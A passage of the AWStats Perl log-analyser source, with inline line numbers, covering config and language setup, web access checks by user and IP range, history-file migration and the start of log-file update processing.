"'. $PROG will use this as config value." ); 17456 } 17457 $SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} ); 17458} 17459 17460# Display version information 17461if ( $QueryString =~ /(^|&|&)version/i ) { 17462 print "$PROG $VERSION\n"; 17463 exit 0; 17464} 17465# Display help information 17466if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) { 17467 &PrintCLIHelp(); 17468 exit 2; 17469} 17470$SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} ); 17471 17472#$ENV{'SERVER_NAME'}||=$SiteConfig; # For thoose who use __SERVER_NAME__ in conf file and use CLI. 17473$ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig; 17474 17475# Read config file (SiteConfig must be defined) 17476&Read_Config($DirConfig); 17477 17478# Check language 17479if ( $QueryString =~ /(^|&|&)lang=([^&]+)/i ) { $Lang = "$2"; } 17480if ( !$Lang || $Lang eq 'auto' ) { # If lang not defined or forced to auto 17481 my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || ''; 17482 $langlist =~ s/;[^,]*//g; 17483 if ($Debug) { 17484 debug( 17485 "Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist", 17486 1 17487 ); 17488 } 17489 foreach my $code ( split( /,/, $langlist ) ) 17490 { # Search for a valid lang in priority 17491 if ( $LangBrowserToLangAwstats{$code} ) { 17492 $Lang = $LangBrowserToLangAwstats{$code}; 17493 if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); } 17494 last; 17495 } 17496 $code =~ s/-.*$//; 17497 if ( $LangBrowserToLangAwstats{$code} ) { 17498 $Lang = $LangBrowserToLangAwstats{$code}; 17499 if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); } 17500 last; 17501 } 17502 } 17503} 17504if ( !$Lang || $Lang eq 'auto' ) { 17505 if ($Debug) { 17506 debug( " No language defined or available. Will use Lang=en", 1 ); 17507 } 17508 $Lang = 'en'; 17509} 17510 17511# Check and correct bad parameters 17512&Check_Config(); 17513 17514# Now SiteDomain is defined 17515 17516if ( $Debug && !$DebugMessages ) { 17517 error( 17518"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug." 17519 ); 17520} 17521 17522# Define frame name and correct variable for frames 17523if ( !$FrameName ) { 17524 if ( $ENV{'GATEWAY_INTERFACE'} 17525 && $UseFramesWhenCGI 17526 && $HTMLOutput{'main'} 17527 && !$PluginMode ) 17528 { 17529 $FrameName = 'index'; 17530 } 17531 else { $FrameName = 'main'; } 17532} 17533 17534# Load Message files, Reference data files and Plugins 17535if ($Debug) { debug( "FrameName=$FrameName", 1 ); } 17536if ( $FrameName ne 'index' ) { 17537 &Read_Language_Data($Lang); 17538 if ( $FrameName ne 'mainleft' ) { 17539 my %datatoload = (); 17540 my ( 17541 $filedomains, $filemime, $filerobots, $fileworms, 17542 $filebrowser, $fileos, $filese 17543 ) 17544 = ( 17545 'domains', 'mime', 17546 'robots', 'worms', 17547 'browsers', 'operating_systems', 17548 'search_engines' 17549 ); 17550 my ( $filestatushttp, $filestatussmtp ) = 17551 ( 'status_http', 'status_smtp' ); 17552 if ( $LevelForBrowsersDetection eq 'allphones' ) { 17553 $filebrowser = 'browsers_phone'; 17554 } 17555 if ($UpdateStats) { # If update 17556 if ($LevelForFileTypesDetection) { 17557 $datatoload{$filemime} = 1; 17558 } # Only if need to filter on known extensions 17559 if ($LevelForRobotsDetection) { 17560 $datatoload{$filerobots} = 1; 17561 } # ua 17562 if ($LevelForWormsDetection) { 17563 $datatoload{$fileworms} = 1; 17564 } # url 17565 if ($LevelForBrowsersDetection) { 17566 $datatoload{$filebrowser} = 1; 17567 } # ua 17568 if ($LevelForOSDetection) { 17569 $datatoload{$fileos} = 1; 17570 } # ua 17571 if ($LevelForRefererAnalyze) { 17572 $datatoload{$filese} = 1; 17573 } # referer 17574 # if (...) { $datatoload{'referer_spam'}=1; } 17575 } 17576 if ( scalar keys %HTMLOutput ) { # If output 17577 if ( $ShowDomainsStats || $ShowHostsStats ) { 17578 $datatoload{$filedomains} = 1; 17579 } # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile. 17580 if ($ShowFileTypesStats) { $datatoload{$filemime} = 1; } 17581 if ($ShowRobotsStats) { $datatoload{$filerobots} = 1; } 17582 if ($ShowWormsStats) { $datatoload{$fileworms} = 1; } 17583 if ($ShowBrowsersStats) { $datatoload{$filebrowser} = 1; } 17584 if ($ShowOSStats) { $datatoload{$fileos} = 1; } 17585 if ($ShowOriginStats) { $datatoload{$filese} = 1; } 17586 if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; } 17587 if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; } 17588 } 17589 &Read_Ref_Data( keys %datatoload ); 17590 } 17591 &Read_Plugins(); 17592} 17593 17594# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode) 17595if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { 17596 http_head(); 17597} # Run from a browser as CGI 17598 17599# Init other parameters 17600$NBOFLINESFORBENCHMARK--; 17601if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; } 17602if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) { 17603 $DirCgi .= '/'; 17604} 17605if ( !$DirData || $DirData =~ /^\./ ) { 17606 if ( !$DirData || $DirData eq '.' ) { 17607 $DirData = "$DIR"; 17608 } # If not defined or chosen to '.' value then DirData is current dir 17609 elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; } 17610} 17611$DirData ||= '.'; # If current dir not defined then we put it to '.' 17612$DirData =~ s/[\\\/]+$//; 17613 17614if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); } 17615else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); } 17616 17617# Should we link to ourselves or to a wrapper script 17618$AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" ); 17619if (index($AWScript,'?')>-1) 17620{ 17621 $AWScript .= '&'; # $AWScript contains URL parameters 17622} 17623else 17624{ 17625 $AWScript .= '?'; 17626} 17627 17628 17629# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data) 17630if ( !$HeaderHTMLSent ) { &html_head; } 17631 17632# AWStats output is replaced by a plugin output 17633if ($PluginMode) { 17634 17635 # my $function="BuildFullHTMLOutput_$PluginMode()"; 17636 # eval("$function"); 17637 my $function = "BuildFullHTMLOutput_$PluginMode"; 17638 &$function(); 17639 if ( $? || $@ ) { error("$@"); } 17640 &html_end(0); 17641 exit 0; 17642} 17643 17644# Security check 17645if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} ) 17646{ 17647 if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); } 17648 if ( !$ENV{"REMOTE_USER"} ) { 17649 error( 17650"Access to statistics is only allowed from an authenticated session to authenticated users." 17651 ); 17652 } 17653 if (@AllowAccessFromWebToFollowingAuthenticatedUsers) { 17654 my $userisinlist = 0; 17655 my $remoteuser = quotemeta( $ENV{"REMOTE_USER"} ); 17656 $remoteuser =~ s/\s/%20/g 17657 ; # Allow authenticated user with space in name to be compared to allowed user list 17658 my $currentuser = qr/^$remoteuser$/i; # Set precompiled regex 17659 foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) { 17660 if (/$currentuser/o) { $userisinlist = 1; last; } 17661 } 17662 if ( !$userisinlist ) { 17663 error( "User '" 17664 . $ENV{"REMOTE_USER"} 17665 . "' is not allowed to access statistics of this domain/config." 17666 ); 17667 } 17668 } 17669} 17670if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) { 17671 my $IPAddress = $ENV{"REMOTE_ADDR"}; # IPv4 or IPv6 17672 my $useripaddress = &Convert_IP_To_Decimal($IPAddress); 17673 my @allowaccessfromipaddresses = 17674 split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses ); 17675 my $allowaccess = 0; 17676 foreach my $ipaddressrange (@allowaccessfromipaddresses) { 17677 if ( $ipaddressrange !~ 17678 /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ 17679 && $ipaddressrange !~ 17680 /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ ) 17681 { 17682 error( 17683"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\"" 17684 ); 17685 } 17686 17687 # Test ip v4 17688 if ( $ipaddressrange =~ 17689 /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ ) 17690 { 17691 my $ipmin = &Convert_IP_To_Decimal($1); 17692 my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin; 17693 17694 # Is it an authorized ip ? 17695 if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) ) 17696 { 17697 $allowaccess = 1; 17698 last; 17699 } 17700 } 17701 17702 # Test ip v6 17703 if ( $ipaddressrange =~ 17704 /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ ) 17705 { 17706 if ( $ipaddressrange =~ /::\// ) { 17707 my @IPv6split = split( /::/, $ipaddressrange ); 17708 if ( $IPAddress =~ /^$IPv6split[0]/ ) { 17709 $allowaccess = 1; 17710 last; 17711 } 17712 } 17713 elsif ( $ipaddressrange == $IPAddress ) { 17714 $allowaccess = 1; 17715 last; 17716 } 17717 } 17718 } 17719 if ( !$allowaccess ) { 17720 error( "Access to statistics is not allowed from your IP Address " 17721 . $ENV{"REMOTE_ADDR"} ); 17722 } 17723} 17724if ( ( $UpdateStats || $MigrateStats ) 17725 && ( !$AllowToUpdateStatsFromBrowser ) 17726 && $ENV{'GATEWAY_INTERFACE'} ) 17727{ 17728 error( "" 17729 . ( $UpdateStats ? "Update" : "Migrate" ) 17730 . " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)." 17731 ); 17732} 17733if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) { 17734 if ( !$AllowFullYearView ) { 17735 error( 17736"Full year view has not been allowed (AllowFullYearView is set to 0)." 17737 ); 17738 } 17739 if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) { 17740 error( 17741"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)." 17742 ); 17743 } 17744} 17745 17746#------------------------------------------ 17747# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...) 17748#------------------------------------------ 17749if ($MigrateStats) { 17750 if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); } 17751 if ( $MigrateStats !~ 17752 /^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ ) 17753 { 17754 error( 17755"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt", 17756 "", "", 1 17757 ); 17758 } 17759 $DirData = "$1"; 17760 $MonthRequired = "$2"; 17761 $YearRequired = "$3"; 17762 $DayRequired = "$4"; 17763 $HourRequired = "$5"; 17764 $FileSuffix = "$6"; 17765 17766 # Correct DirData 17767 if ( !$DirData || $DirData =~ /^\./ ) { 17768 if ( !$DirData || $DirData eq '.' ) { 17769 $DirData = "$DIR"; 17770 } # If not defined or chosen to '.' value then DirData is current dir 17771 elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; } 17772 } 17773 $DirData ||= '.'; # If current dir not defined then we put it to '.' 17774 $DirData =~ s/[\\\/]+$//; 17775 print "Start migration for file '$MigrateStats'."; 17776 print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n"; 17777 if ($EnableLockForUpdate) { &Lock_Update(1); } 17778 my $newhistory = 17779 &Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired, 17780 $HourRequired, 1, 0, 'all' ); 17781 if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) { 17782 unlink "$newhistory"; 17783 error( 17784"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong" 17785 . ( 17786 $ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : "" 17787 ) 17788 . " or file might be opened." 17789 ); 17790 } 17791 if ($EnableLockForUpdate) { &Lock_Update(0); } 17792 print "Migration for file '$MigrateStats' successful."; 17793 print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n"; 17794 &html_end(1); 17795 exit 0; 17796} 17797 17798# Output main frame page and exit. This must be after the security check. 17799if ( $FrameName eq 'index' ) { 17800 17801 # Define the NewLinkParams for main chart 17802 my $NewLinkParams = ${QueryString}; 17803 $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; 17804 $NewLinkParams =~ s/(&|&)+/&/i; 17805 $NewLinkParams =~ s/^&//; 17806 $NewLinkParams =~ s/&$//; 17807 if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } 17808 17809 # Exit if main frame 17810 print "<frameset cols=\"$FRAMEWIDTH,*\">\n"; 17811 print "<frame name=\"mainleft\" src=\"" 17812 . XMLEncode("$AWScript${NewLinkParams}framename=mainleft") 17813 . "\" noresize=\"noresize\" frameborder=\"0\" />\n"; 17814 print "<frame name=\"mainright\" src=\"" 17815 . XMLEncode("$AWScript${NewLinkParams}framename=mainright") 17816 . "\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n"; 17817 print "<noframes><body>"; 17818 print "Your browser does not support frames.<br />\n"; 17819 print "You must set AWStats UseFramesWhenCGI parameter to 0\n"; 17820 print "to see your reports.<br />\n"; 17821 print "</body></noframes>\n"; 17822 print "</frameset>\n"; 17823 &html_end(0); 17824 exit 0; 17825} 17826 17827%MonthNumLib = ( 17828 "01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]", 17829 "04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]", 17830 "07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]", 17831 "10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]" 17832); 17833 17834# Build ListOfYears list with all existing years 17835( 17836 $lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate, 17837 $lasthourbeforeupdate, $lastdatebeforeupdate 17838 ) 17839 = ( 0, 0, 0, 0, 0 ); 17840my $datemask = ''; 17841if ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; } 17842elsif ( $DatabaseBreak eq 'year' ) { $datemask = '(\d\d\d\d)'; } 17843elsif ( $DatabaseBreak eq 'day' ) { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; } 17844elsif ( $DatabaseBreak eq 'hour' ) { 17845 $datemask = '(\d\d)(\d\d\d\d)(\d\d)(\d\d)'; 17846} 17847 17848if ($Debug) { 17849 debug( 17850"Scan for last history files into DirData='$DirData' with mask='$datemask'" 17851 ); 17852} 17853 17854my $retval = opendir( DIR, "$DirData" ); 17855if(! $retval) 17856{ 17857 error( "Failed to open directory $DirData : $!"); 17858} 17859my $regfilesuffix = quotemeta($FileSuffix); 17860foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i, 17861 file_filt sort readdir DIR ) 17862{ 17863 /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i; 17864 if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) { 17865 17866 # ListOfYears contains max month found 17867 $ListOfYears{"$2"} = "$1"; 17868 } 17869 my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" ); 17870 if ( $rangestring gt $lastdatebeforeupdate ) { 17871 17872 # We are on a new max for mask 17873 $lastyearbeforeupdate = ( $2 || "" ); 17874 $lastmonthbeforeupdate = ( $1 || "" ); 17875 $lastdaybeforeupdate = ( $3 || "" ); 17876 $lasthourbeforeupdate = ( $4 || "" ); 17877 $lastdatebeforeupdate = $rangestring; 17878 } 17879} 17880close DIR; 17881 17882# If at least one file found, get value for LastLine 17883if ($lastyearbeforeupdate) { 17884 17885 # Read 'general' section of last history file for LastLine 17886 &Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate, 17887 $lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" ); 17888} 17889 17890# Warning if lastline in future 17891if ( $LastLine > ( $nowtime + 20000 ) ) { 17892 warning( 17893"WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files." 17894 ); 17895} 17896 17897# Force LastLine 17898if ( $QueryString =~ /lastline=(\d{14})/i ) { 17899 $LastLine = $1; 17900} 17901if ($Debug) { 17902 debug("Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate"); 17903 debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate"); 17904 debug("LastLine=$LastLine"); 17905 debug("LastLineNumber=$LastLineNumber"); 17906 debug("LastLineOffset=$LastLineOffset"); 17907 debug("LastLineChecksum=$LastLineChecksum"); 17908} 17909 17910# Init vars 17911&Init_HashArray(); 17912 17913#------------------------------------------ 17914# UPDATE PROCESS 17915#------------------------------------------ 17916my $lastlinenb = 0; 17917my $lastlineoffset = 0; 17918my $lastlineoffsetnext = 0; 17919if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); } 17920if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' ) 17921{ # Update only on index page or when not framed to avoid update twice 17922 17923 my %MonthNum = ( 17924 "Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03", 17925 "mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05", 17926 "Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08", 17927 "aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10", 17928 "Nov", "11", "nov", "11", "Dec", "12", "dec", "12" 17929 ) 17930 ; # MonthNum must be in english because used to translate log date in apache log files 17931 17932 if ( !scalar keys %HTMLOutput ) { 17933 print 17934"Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n"; 17935 print "From data in log file \"$LogFile\"...\n"; 17936 } 17937 17938 my $lastprocessedyear = $lastyearbeforeupdate || 0; 17939 my $lastprocessedmonth = $lastmonthbeforeupdate || 0; 17940 my $lastprocessedday = $lastdaybeforeupdate || 0; 17941 my $lastprocessedhour = $lasthourbeforeupdate || 0; 17942 my $lastprocesseddate = ''; 17943 if ( $DatabaseBreak eq 'month' ) { 17944 $lastprocesseddate = 17945 sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth ); 17946 } 17947 elsif ( $DatabaseBreak eq 'year' ) { 17948 $lastprocesseddate = sprintf( "%04i%", $lastprocessedyear ); 17949 } 17950 elsif ( $DatabaseBreak eq 'day' ) { 17951 $lastprocesseddate = sprintf( "%04i%02i%02i", 17952 $lastprocessedyear, $lastprocessedmonth, $lastprocessedday ); 17953 } 17954 elsif ( $DatabaseBreak eq 'hour' ) { 17955 $lastprocesseddate = sprintf( 17956 "%04i%02i%02i%02i", 17957 $lastprocessedyear, $lastprocessedmonth, 17958 $lastprocessedday, $lastprocessedhour 17959 ); 17960 } 17961 17962 my @list; 17963 17964 # Init RobotsSearchIDOrder required for update process 17965 @list = (); 17966 if ( $LevelForRobotsDetection >= 1 ) { 17967 foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; } 17968 push @list, "listgen"; # Always added 17969 } 17970 foreach my $key (@list) { 17971 push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"}; 17972 if ($Debug) { 17973 debug( 17974 "Add " 17975 . @{"RobotsSearchIDOrder_$key"} 17976 . " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder", 17977 2 17978 ); 17979 } 17980 } 17981 if ($Debug) { 17982 debug( 17983 "RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements", 17984 1 17985 ); 17986 } 17987 17988 # Init SearchEnginesIDOrder required for update process 17989 @list = (); 17990 if ( $LevelForSearchEnginesDetection >= 1 ) { 17991 foreach ( 1 .. $LevelForSearchEnginesDetection ) { 17992 push @list, "list$_"; 17993 } 17994 push @list, "listgen"; # Always added 17995 } 17996 foreach my $key (@list) { 17997 push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"}; 17998 if ($Debug) { 17999 debug( 18000 "Add " 18001 . @{"SearchEnginesSearchIDOrder_$key"} 18002 . " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder", 18003 2 18004 ); 18005 } 18006 } 18007 if ($Debug) { 18008 debug( 18009 "SearchEnginesSearchIDOrder has now " 18010 . @SearchEnginesSearchIDOrder 18011 . " elements", 18012 1 18013 ); 18014 } 18015 18016 # Complete HostAliases array 18017 my $sitetoanalyze = quotemeta( lc($SiteDomain) ); 18018 if ( !@HostAliases ) { 18019 warning( 18020"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"." 18021 ); 18022 push @HostAliases, qr/^$sitetoanalyze$/i; 18023 push @HostAliases, qr/^localhost$/i; 18024 push @HostAliases, qr/^127\.0\.0\.1$/i; 18025 } 18026 else { 18027 unshift @HostAliases, qr/^$sitetoanalyze$/i; 18028 } # Add SiteDomain as first value 18029 18030 # Optimize arrays 18031 @HostAliases = &OptimizeArray( \@HostAliases, 1 ); 18032 if ($Debug) { 18033 debug( "HostAliases precompiled regex list is now @HostAliases", 1 ); 18034 } 18035 @SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 ); 18036 if ($Debug) { 18037 debug( 18038 "SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor", 18039 1 18040 ); 18041 } 18042 @SkipHosts = &OptimizeArray( \@SkipHosts, 1 ); 18043 if ($Debug) { 18044 debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 ); 18045 } 18046 @SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 ); 18047 if ($Debug) { 18048 debug( "SkipReferrers precompiled regex list is now @SkipReferrers", 18049 1 ); 18050 } 18051 @SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 ); 18052 if ($Debug) { 18053 debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents", 18054 1 ); 18055 } 18056 @SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive ); 18057 if ($Debug) { 18058 debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 ); 18059 } 18060 @OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 ); 18061 if ($Debug) { 18062 debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 ); 18063 } 18064 @OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 ); 18065 if ($Debug) { 18066 debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 ); 18067 } 18068 @OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 ); 18069 if ($Debug) { 18070 debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents", 18071 1 ); 18072 } 18073 @OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive ); 18074 if ($Debug) { 18075 debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 ); 18076 } 18077 @NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive ); 18078 if ($Debug) { 18079 debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 ); 18080 } 18081 18082 # Precompile the regex search strings with qr 18083 @RobotsSearchIDOrder = map { qr/$_/i } @RobotsSearchIDOrder; 18084 @WormsSearchIDOrder = map { qr/$_/i } @WormsSearchIDOrder; 18085 @BrowsersSearchIDOrder = map { qr/$_/i } @BrowsersSearchIDOrder; 18086 @OSSearchIDOrder = map { qr/$_/i } @OSSearchIDOrder; 18087 @SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder; 18088 my $miscquoted = quotemeta("$MiscTrackerUrl"); 18089 my $defquoted = quotemeta("/$DefaultFile[0]"); 18090 my $sitewithoutwww = lc($SiteDomain); 18091 $sitewithoutwww =~ s/www\.//; 18092 $sitewithoutwww = quotemeta($sitewithoutwww); 18093 18094 # Define precompiled regex 18095 my $regmisc = qr/^$miscquoted/; 18096 my $regfavico = qr/\/favicon\.ico$/i; 18097 my $regrobot = qr/\/robots\.txt$/i; 18098 my $regtruncanchor = qr/#(\w*)$/; 18099 my $regtruncurl = qr/([$URLQuerySeparators])(.*)$/; 18100 my $regext = qr/\.(\w{1,6})$/; 18101 my $regdefault; 18102 if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; } 18103 else { $regdefault = qr/$defquoted$/; } 18104 my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; 18105 my $regipv4l = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; 18106 my $regipv6 = qr/^[0-9A-F]*:/i; 18107 my $regveredge = qr/edge\/([\d]+)/i; 18108 my $regvermsie = qr/msie([+_ ]|)([\d\.]*)/i; 18109 #my $regvermsie11 = qr/trident\/7\.\d*\;([+_ ]|)rv:([\d\.]*)/i; 18110 my $regvermsie11 = qr/trident\/7\.\d*\;([a-zA-Z;+_ ]+|)rv:([\d\.]*)/i; 18111 my $regvernetscape = qr/netscape.?\/([\d\.]*)/i; 18112 my $regverfirefox = qr/firefox\/([\d\.]*)/i; 18113 # For Opera: 18114 # OPR/15.0.1266 means Opera 15 18115 # Opera/9.80 ...... Version/12.16 means Opera 12.16 18116 # Mozilla/5.0 .... Opera 11.51 means Opera 11.51 18117 my $regveropera = qr/opera\/9\.80\s.+\sversion\/([\d\.]+)|ope?ra?[\/\s]([\d\.]+)/i; 18118 my $regversafari = qr/safari\/([\d\.]*)/i; 18119 my $regversafariver = qr/version\/([\d\.]*)/i; 18120 my $regverchrome = qr/chrome\/([\d\.]*)/i; 18121 my $regverkonqueror = qr/konqueror\/([\d\.]*)/i; 18122 my $regversvn = qr/svn\/([\d\.]*)/i; 18123 my $regvermozilla = qr/mozilla(\/|)([\d\.]*)/i; 18124 my $regnotie = qr/webtv|omniweb|opera/i; 18125 my $regnotnetscape = qr/gecko|compatible|opera|galeon|safari|charon/i; 18126 my $regnotfirefox = qr/flock/i; 18127 my $regnotsafari = qr/android|arora|chrome|shiira/i; 18128 my $regreferer = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/; 18129 my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/; 18130 my $reglocal = qr/^(www\.|)$sitewithoutwww/i; 18131 my $regget = qr/get|out/i; 18132 my $regsent = qr/sent|put|in/i; 18133 18134 # Define value of $pos_xxx, @fieldlib, $PerlParsingFormat 18135 &DefinePerlParsingFormat($LogFormat); 18136 18137 # Load DNS Cache Files 18138 #------------------------------------------ 18139 if ($DNSLookup) { 18140 &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 ) 18141 ; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix 18142 if ( $DNSLookup == 1 ) { # System DNS lookup required 18143 #if (! eval("use Socket;")) { error("Failed to load perl module Socket."); } 18144 #use Socket; 18145 &Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile", 18146 "$FileSuffix", 0 ) 18147 ; # Load with no save into a second plugin file. Use FileSuffix 18148 } 18149 } 18150 18151 # Processing log 18152 #------------------------------------------ 18153 18154 if ($EnableLockForUpdate) { 18155 18156 # Trap signals to remove lock 18157 $SIG{INT} = \&SigHandler; # 2 18158 #$SIG{KILL} = \&SigHandler; # 9 18159 #$SIG{TERM} = \&SigHandler; # 15 18160 # Set AWStats update lock 18161 &Lock_Update(1); 18162 } 18163 18164 if ($Debug) { 18165 debug("Start Update process (lastprocesseddate=$lastprocesseddate)"); 18166 } 18167 18168 # Open log file 18169 if ($Debug) { debug("Open log file \"$LogFile\""); } 18170 open( LOG, "$LogFile" ) 18171 || error("Couldn't open server log file \"$LogFile\" : $!"); 18172 binmode LOG 18173 ; # Avoid premature EOF due to log files corrupted with \cZ or bin chars 18174 18175 # Define local variables for loop scan 18176 my @field = (); 18177 my $counterforflushtest = 0; 18178 my $qualifdrop = ''; 18179 my $countedtraffic = 0; 18180 18181 # Reset chrono for benchmark (first call to GetDelaySinceStart) 18182 &GetDelaySinceStart(1); 18183 if ( !scalar keys %HTMLOutput ) { 18184 print "Phase 1 : First bypass old records, searching new record...\n"; 18185 } 18186 18187 # Can we try a direct seek access in log ? 18188 my $line; 18189 if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum ) 18190 { 18191 18192 # Try a direct seek access to save time 18193 if ($Debug) { 18194 debug( 18195"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum" 18196 ); 18197 } 18198 seek( LOG, $LastLineOffset, 0 ); 18199 if ( $line = <LOG> ) { 18200 chomp $line; 18201 $line =~ s/\r$//; 18202 @field = map( /$PerlParsingFormat/, $line ); 18203 if ($Debug) { 18204 my $string = ''; 18205 foreach ( 0 .. @field - 1 ) { 18206 $string .= "$fieldlib[$_]=$field[$_] "; 18207 } 18208 if ($Debug) { 18209 debug( " Read line after direct access: $string", 1 ); 18210 } 18211 } 18212 my $checksum = 